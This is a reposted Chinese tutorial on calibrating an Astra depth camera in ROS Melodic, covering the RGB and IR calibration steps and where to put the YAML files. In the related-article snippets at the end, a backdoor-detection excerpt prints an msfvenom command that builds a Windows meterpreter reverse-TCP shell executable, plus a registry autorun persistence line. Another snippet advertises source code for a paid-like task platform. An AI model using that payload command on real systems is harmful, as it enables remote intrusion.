Astra深度相机在Ubuntu18.04系统下实现相机标定

问题:

当使用Astra相机的启动的指令启动相机后,使用rviz查看相机所发布的rgb数据时,在终端会出现如下的提示信息:

Camera calibration file /home/car/.ros/camera_info/rgb_Astra_Orbbec.yaml not found.

Camera calibration file /home/car/.ros/camera_info/depth_Astra_Orbbec.yaml not found.

可以看到提示的信息为相机的标定文件未能在 /home/car/.ros/camera_info/下找到,当我自己根据提示的路径去查找时,发现在/home/car/.ros/路径文件下,并没有camera_info这个文件夹,因此网上查询发现是因为自己没有对相机进行标定的缘故而导致。

下面就根据下面的步骤开始解决这个相机标定问题:

1、准备阶段

1)打印棋盘格,可在下面的这个网站链接中打印自己想要的尺寸的棋盘格,我设置的行列为7x10,大小为18mm的棋盘格

棋盘格网页链接:Camera Calibration Pattern Generator – calib.io

2)在Ubuntu18.04系统中安装标定功能包

sudo apt-get install ros-melodic-camera-calibration

2.1、标定彩色相机

1)启动相机节点

roslaunch astra_camera astra.launch

2)打开相机标定节点并指定话题(astra相机发布的彩色节点为:/camera/rgb/image_raw,可以使用 rostopic list 进行查看相机发布的节点名称

rosrun camera_calibration cameracalibrator.py --size 6x9 --square 0.018 image:=/camera/rgb/image_raw

其中的指令参考如下进行修改:

(1) size指的是:棋盘格内部的角点的行列数;

(注意:不是棋盘格的行列数,如我指定的行列为 7x10 ,则指令中的size就应就改为 6x9 ,因为这个对应的是棋盘格内部的角点的行列数。)

(2) square 是棋盘格每个格子的边长(可以自己用尺子量一下),我这里的是18mm,对应指令应输入0.018,因为指令的单位为米(m);

(3) image是图像话题名称,当Astra深度相机通常为/camera/rgb/image_raw,其他的相机可以通过 rostopic list 指令查看发布的相机节点名称。

3)在弹出的窗口相机视野中手持标定板,不断分别进行左右(X),上下(Y),远近(Size),倾斜(Skew)运动,尽量让这四个维度的进度条都为绿色。此过程要保证标定板上有彩色的条纹才为有效。这个过程中控制台也会打印出标定个数的日志。此过程也可以将标定板固定,然后移动相机。

(1)X:标定靶在摄像头视野中的左右移动;

(2)Y:标定靶在摄像头视野中的上下移动;

(3)Size:标定靶在摄像头视野中的前后移动;

(4)Skew:标定靶在摄像头视野中的倾斜转动

4)当右侧的CALIBRATE圆形按钮由灰色转为绿色时,说明数据采集完毕,此时点击CALIBRATE按钮,便开始读取之前保存的图片并执行标定计算,这里需要等待一会,因为计算需要时间。

5)有标定结果出来后,点击标定界面的SAVE按钮,再点commit按钮,标定结果保存在/tmp/calibrationdata.tar.gz这个压缩包中,到这里彩色相机的标定就结束了,关闭标定程序。

在终端中也会输出相应的标定结果。

6)保存后的标定文件为 /tmp/calibrationdata.tar.gz 的压缩包,将之解压,其中的 ost.yaml就是我们想要的标定结果。

打开ost.yaml,如下:

image_width: 640
image_height: 480
camera_name: narrow_stereo               #相机名称
camera_matrix:                                      #相机内参矩阵(相机坐标系->像素坐标系)
  rows: 3
  cols: 3
  data: [ 556.03872,    0.     ,  335.509  ,
            0.     ,  556.50706,  233.42121,
            0.     ,    0.     ,    1.     ]
distortion_model: plumb_bob
distortion_coefficients:                         #相机畸变系数
  rows: 1
  cols: 5
  data: [0.057411, -0.256237, 0.007304, 0.014521, 0.000000]
rectification_matrix:                             #矫正矩阵
  rows: 3
  cols: 3
  data: [ 1.,  0.,  0.,
          0.,  1.,  0.,
          0.,  0.,  1.]
projection_matrix:                               #投影矩阵(世界坐标系->图像坐标系)
  rows: 3
  cols: 4
  data: [ 547.36389,    0.     ,  345.97145,    0.     ,
            0.     ,  559.91687,  235.82042,    0.     ,
            0.     ,    0.     ,    1.     ,    0.     ]

【参数说明】

   camera_matrix:相机内参矩阵 (固有参数)

   distortion_coefficients:相机畸变系数 (固有参数)

   rectification_matrix:矫正矩阵(一般为单位阵 )

   projection_matrix:投影矩阵(世界坐标系到图像坐标系)

 7)然后将得到的标定文件 ost.yaml 进行名称的修改,此时的更改是根据刚刚报错的终端提文件名进行修改即可,刚刚终端提示的第一条是

Camera calibration file /home/car/.ros/camera_info/rgb_Astra_Orbbec.yaml not found.

然后我们将刚刚彩色相机得到的标定文件 ost.yaml 的名称修改为 rgb_Astra_Orbbec.yaml ,并且还需要将该 yaml 文件中的 camera_name 也修改为 rgb_Astra_Orbbec ,不然后续运行的过程中会出现如下的提示:

[rgb_Astra_Orbbec] does not match name narrow_stereo in file /home/car/.ros/camera_info/rgb_Astra_Orbbec.yaml

因为标定文件中默认的名称为 narrow_stereo ,而我们已经将彩色相机的标定文件修改为了 ost.yaml 的名称修改为 rgb_Astra_Orbbec.yaml ,因此为了保证不出现错误提示,还需要将 yaml 中的 camera_name 也修改为 rgb_Astra_Orbbec 便可解决此问题。

8)将刚刚修改的 rgb_Astra_Orbbec.yaml 移动到 /home/car/.ros文件下的/camera_info/文件夹中,由于我的 /home/car/.ros文件下没有/camera_info/文件夹,因此需要创建并移入

cd /tmp/calibrationdata/mkdir -p ~/.ros/camera_infomv rgb_Astra_Orbbec.yaml ~/.ros/camera_info/ 

到此处对于 Astra 相机的彩色部分标定完成。接下来对深度相机(红外相机)部分进行标定操作

2.2、标定红外相机

 1)标定ir红外相机与标定rgb彩色相机相比,除了第一步的image参数不同,其他都一样。

由于其深度数据的成像即为红外相机的投影光斑分析得到的,ir红外的相机标定结果即是深度相机的标定结果。

运行红外相机标定节点:

# 启动相机
roslaunch astra_camera astra.launch# 运行红外标定
rosrun camera_calibration cameracalibrator.py --size 6x9 --square 0.018 image:=/camera/ir/image

目前测试,在Ubuntu18.04下melodic预览图像内容是黑色的,如下图。但是在rviz下却可以正常查看。

原因是由于默认的IR图像数据是16-bit的,如果想清晰的显示出来,我们需要将之归一化成一个数值范围为0-255范围的8-bit图片。而rviz已经帮我们做了这样的归一化操作。

根据这个思想,我们实现一个图像类型转换节点,即订阅 /camera/ir/image 话题,将得到的16-bit的图片转换成8-bit,然后输出到 /camera/ir/image_mono8,想要输出为 /camera/ir/image_mono8的节点需要使用如下的转换文件才可以,网盘下载链接如下:

image_transformer.zip官方版下载丨最新版下载丨绿色版下载丨APP下载-123云盘

将此文件保存到catkin_ws/src文件下,然后使用 catkin_make 指令对刚刚的 image_transformer进行编译操作,编译完成后再次执行如下操作即可实现对红外相机的标定工作。

也可以通过如下指令进行克隆指令

cd catkin_ws/src
git clone https://gitee.com/tangyang/image_transformer

注意,一定得按照我下面的启动顺序依次启动运行指令,不然会出错

# 1)启动相机
roslaunch astra_camera astra.launch# 2)启动image_transformer转换节点
cd catkin_ws
source ./devel/setup.bash
rosrun image_transformer gray_image_transformer# 3)运行红外标定
rosrun camera_calibration cameracalibrator.py --size 6x9 --square 0.018 image:= /camera/ir/image_mono8

运行完 rosrun image_transformer gray_image_transformer 指令后,使用 rostopic list 指令便可以查询到转换后的8-bit节点,如下图所示:

运行红外标定指令后的图像如下:

然后便可以在标定程序中查看到如彩色相机标定的类似画面,其中标定的步骤和彩色相机部分一致,并且此处需注意,标定红外相机标定文件保存路径也是在/tmp/下,并且名称也是calibrationdata.tar.gz 的文件,需提前将前面的彩色相机的 calibrationdata.gz 的文件保存到其他地方,不然在红外相机标定文件保存时会将其覆盖。

此外,这里所得到的红外相机的标定文件打开也是和彩色相机相同的命名方式,将 ost.yaml 的名称修改为 depth_Astra_Orbbec.yaml ,将 yaml 中的 camera_name 也修改为 depth_Astra_Orbbec,然后保存修改文件,并使用如下指令将 depth_Astra_Orbbec.yaml 移动到 /home/car/.ros/camera_info/ 路径下

cd /tmp/calibrationdata/mv depth_Astra_Orbbec.yaml ~/.ros/camera_info/ 

至此,Astra 深度相机的整体标定已完成。

参考博客

奥比中光Astra相机(一)驱动安装及ROS标定 - 哔哩哔哩

使用标定文件出错:does not match name narrow_stereo in file /home/michael/.ros/camera_info/head_camera.yaml._[head_camera] does not match name narrow_stereo in-CSDN博客

Astra plus 深度相机校准标定-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/801374.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

flood_fill 算法|图形渲染

flood fill 算法常常用来找极大连通子图,这是必须掌握的基本算法之一! 图形渲染 算法原理 我们可以利用DFS遍历数组把首个数组的值记为color,然后上下左右四个方向遍历二维数组数组如果其他方块的值不等于color 或者越界就剪枝 return 代码…

自然语言处理-词向量模型-Word2Vec

目录 一、前言 二、词向量 三、词向量的实际意义 四、模型的整体框架 五、构建输入数据 六、不同模型的对比 七、负采样方案 八、总结 一、前言 计算机只认识数值数字,那么怎么认识自然语言呢???答案就是将自然语言转换转…

git查看单独某一个文件的历史修改记录

git查看单独某一个文件的历史修改记录 git log -p 文件具体路径 注意,Windows下默认文件路径分隔符是 \,在git bash 里面需要改成 /。 git基于change代码修改与提交_git change-CSDN博客文章浏览阅读361次。git cherry-pick:复制多个提交comm…

HiveSQL之lateral view

lateral view是hiveQL中的一个高级功能,用于和表生成函数一起,来处理嵌套数组和结构的数据,特别是在处理复杂的数据结构如JSON或数组内嵌套数组时特别有用。它允许用户在每一行上应用TGF(表生成函数),将生成…

java实现UDP数据交互

1、回显服务器 服务器端 import java.io.IOException; import java.net.DatagramPacket; import java.net.DatagramSocket; import java.net.SocketException;public class UDP_Server {private DatagramSocket socketnull;public UDP_Server(int port) throws SocketExcepti…

k8s集群node节点状态为Not Ready

目录 一、Node节点Not Ready状态的可能原因 二、排查node节点状态为Not Ready的原因 一、Node节点Not Ready状态的可能原因 node节点状态为Not Ready可能的原因有: 1.网络插件出问题 有过安装经验的小伙伴应该很熟悉未安装网络插件的情况下node节点在集群中的状…

【PyTorch][chapter 25][李宏毅深度学习][Transfer Learning-1]

前言: 迁移学习是一种机器学习的方法,指的是一个预训练的模型被重新用在另一个任务中。 比如已经有个模型A 实现了猫狗分类 模型B 要实现大象和老虎分类,可以利用训练好的模型A 的一些参数特征,简化当前的训练 过程. 目录: 简介 Model Fine-Tuning (…

应急响应-后门攻击检测指南Rookit内存马权限维持WINLinux

一、演示案例-Windows-后门-常规&权限维持&内存马 1、常规MSF后门-网络连接分析 常规后门: msfvenom -p windows/meterpreter/reverse_tcp lhostxx.xx.xx.xx lport6666 -f exe -o shell.exe2、权限维持后门-分析检测 自启动测试 REG ADD "HKCU\SO…

vue做游戏vue游戏引擎vue小游戏开发

Vue.js 是一个构建用户界面的渐进式JavaScript框架,它同样可以用于游戏开发。使用 Vue 开发游戏通常涉及以下几个关键步骤和概念: 1. 了解 Vue 的核心概念 1 在开始使用 Vue 进行游戏开发之前,你需要理解 Vue 的一些核心概念,如…

抖音在线点赞任务发布接单运营平台PHP网站源码 多个支付通道+分级会员制度

源码介绍 1、三级代理裂变,静态返佣/动态返佣均可设置。(烧伤制度)。 2、邀请二维码接入防红跳转。 3、自动机器人做任务,任务时间可设置,机器人价格时间可设置。 4、后台可设置注册即送X天机器人。 5、不同级别会…

uniapp开发笔记----配置钉钉小程序

uniapp开发笔记----配置钉钉小程序 1. 项目根目录添加package.json文件2. 之后点击运行就可以看到已经添加了钉钉小程序3. 如果首次使用需要配置 其他功能待开发。。。 接上一章之后,我想要把项目配置成钉钉小程序 官方文档点击这里 1. 项目根目录添加package.json…

NzN的数据结构--二叉树part2

上一章我们介绍了二叉树入门的一些内容,本章我们就要正式开始学习二叉树的实现方法,先三连后看是好习惯!!! 目录 一、二叉树的顺序结构及实现 1. 二叉树的顺序结构 2. 堆的概念及结构 3. 堆的实现 3.1 堆的创建 …

Idea 通过 Tomcat 启动项目时出现“错误:找不到或无法加载主类 ecoding”

问题描述 在Idea中通过Tomcat启动项目时,出现 “错误:找不到或无法加载主类 ecoding” 原因 在Tomcat - Eidt Configurations....中配置VM options时出现了错误,可以查看下该配置是否填写正确;

2024-04-08 NO.5 Quest3 手势追踪进行 UI 交互

文章目录 1 玩家配置2 物体配置3 添加视觉效果4 添加文字5 其他操作5.1 双面渲染5.2 替换图片 ​ 在开始操作前,我们导入先前配置好的预制体 MyOVRCameraRig,相关介绍在 《2024-04-03 NO.4 Quest3 手势追踪抓取物体-CSDN博客》 文章中。 1 玩家配置 &a…

全自动ai生成视频MoneyPrinterTurbo源码

功能介绍 完整的 MVC架构,代码 结构清晰,易于维护,支持 API 和 Web界面 支持视频文案 AI自动生成,也可以自定义文案支持多种 高清视频 尺寸 竖屏 9:16,1080x1920 横屏 16:9,1920x1080 支持 批量视频生成&am…

PHP基础

搭建环境 网站基本概念 服务器概念 服务器是为电脑提供服务的电脑,本地电脑如果有公网IP,那也能当作服务器工作服务器是计算机的一种,它比普通计算机运行更快,负载更高、价格更贵。 服务器在网络中为其它客户机(如P…

借助 Aspose.Words,在 C# 中将图片转换为 Word

Microsoft Word 提供了多种用于生成具有增强的格式化功能的文本文档的工具。除了文本格式之外,我们还可以将各种图形元素和图像合并到Word文档中。在某些情况下,我们可能需要将图片或照片插入DOC或DOCX格式的Word文档中。在本文中,我们将学习…

DevOps已死?2024年的DevOps将如何发展

随着我们进入2024年,DevOps也发生了变化。新兴的技术、变化的需求和发展的方法正在重新定义有效实施DevOps实践。 IDC预测显示,未来五年,支持DevOps实践的产品市场继续保持健康且快速增长,2022年-2027年的复合年增长率&#xff0…

【神经网络】卷积神经网络CNN

卷积神经网络 欢迎访问Blog全部目录! 文章目录 卷积神经网络1. 神经网络概览2.CNN(Convolutional Neunal Network)2.1.学习链接2.2.CNN结构2.2.1.基本结构2.2.1.1输入层2.2.1.2.卷积层|Convolution Layers2.2.1.3.池化层|Pooling layers2.3…

k8s部署efk

环境简介: kubernetes: v1.22.2 helm: v3.12.0 elasticsearch: 8.8.0 chart包:19.10.0 fluentd: 1.16.2 chart包: 5.9.4 kibana: 8.2.2 chart包:10.1.9 整体架构图: 一、Elasticsearch安装…